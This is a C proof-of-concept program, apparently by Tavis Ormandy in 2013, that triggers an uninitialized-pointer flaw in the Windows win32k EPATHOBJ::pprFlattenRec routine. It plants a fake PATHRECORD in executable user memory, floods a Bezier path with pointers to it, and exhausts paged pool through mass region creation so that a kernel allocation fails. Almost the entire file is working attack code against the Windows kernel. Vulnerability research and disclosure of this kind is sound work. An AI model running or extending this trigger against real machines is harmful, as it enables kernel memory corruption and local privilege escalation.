#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <stddef.h>
#include <winnt.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")

#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192

//
// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
//
// Tavis Ormandy <taviso@cmpxchg8b.com>, March 2013
//


POINT Points[MAX_POLYPOINTS];
BYTE  PointTypes[MAX_POLYPOINTS];
HRGN  Regions[MAX_REGIONS];
ULONG NumRegion;

// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

BOOL LogMessage(LEVEL Level, PCHAR Format, ...);

// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH   0x00000001
#define PD_ENDSUBPATH     0x00000002
#define PD_RESETSTYLE     0x00000004
#define PD_CLOSEFIGURE    0x00000008
#define PD_BEZIERS        0x00000010

typedef struct  _POINTFIX
{
    ULONG x;
    ULONG y;
} POINTFIX, *PPOINTFIX;

// Approximated from reverse engineering.
typedef struct _PATHRECORD {
    struct _PATHRECORD *next;
    struct _PATHRECORD *prev;
    ULONG               flags;
    ULONG               count;
    POINTFIX            points[0];
} PATHRECORD, *PPATHRECORD;

int main(int argc, char **argv)
{
    HDC         Device;
    ULONG       Size;
    HRGN        Buffer;
    ULONG       PointNum;
    ULONG       Count;
    PPATHRECORD PathRecord;

    // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
    // pathrecord chain.
    PathRecord = VirtualAlloc(NULL,
                              sizeof(PATHRECORD),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    LogMessage(L_INFO, "alllocated userspace PATHRECORD@%p", PathRecord);

    // Initialise with recognisable debugging values.
    FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

    PathRecord->next    = (PVOID)(0x41414141);
    PathRecord->prev    = (PVOID)(0x42424242);

    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
    // EPATHOBJ::bFlatten(), do that here.
    //PathRecord->flags   = PD_BEZIERS;
    PathRecord->flags   = 0;

    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);

    LogMessage(L_INFO, "creating complex bezier path with %#X", (ULONG)(PathRecord) >> 4);

    // Generate a large number of Bezier Curves made up of pointers to our
    // PATHRECORD object.
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }

    // Comment this line to continue after bFlatten().
    //VirtualFree(PathRecord, 0, MEM_RELEASE);

    // Switch to a dedicated desktop so we don't spam the visible desktop with
    // our Lines (Not required, just stops the screen from redrawing slowly).
    SetThreadDesktop(CreateDesktop("DontPanic",
                     NULL,
                     NULL,
                     0,
                     GENERIC_ALL,
                     NULL));

    while (TRUE) {
        // Get a handle to this Desktop.
        Device = GetDC(NULL);

        // We need to cause a specific AllocObject() to fail to trigger the
        // exploitable condition. To do this, I create a large number of rounded
        // rectangular regions until they start failing. I don't think it matters
        // what you use to exhaust paged memory, there is probably a better way.
        //
        // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
        // failure. Seriously, do some damn QA Microsoft, wtf.

        for (Size = 1 << 26; Size; Size >>= 1) {
            while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
                NumRegion++;
        }

        LogMessage(L_INFO, "allocated %u HRGN objects", NumRegion);


        LogMessage(L_INFO, "flattening curves...");

        // Begin filling the free list with our points.
        for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
            BeginPath(Device);
            PolyDraw(Device, Points, PointTypes, PointNum);
            EndPath(Device);
            FlattenPath(Device);
            FlattenPath(Device);
            EndPath(Device);
        }

        // Clean up the region objects.
        while (NumRegion--) {
            DeleteObject(Regions[NumRegion]);
        }

        LogMessage(L_INFO, "restarting...", PointNum);

        ReleaseDC(NULL, Device);
    }

    return 0;
}

// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
    CHAR Buffer[1024] = {0};
    va_list Args;

    va_start(Args, Format);
        vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
    va_end(Args);

    switch (Level) {
        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
        case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
        case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;
    }

    fflush(stdout);
    fflush(stderr);

    return TRUE;
}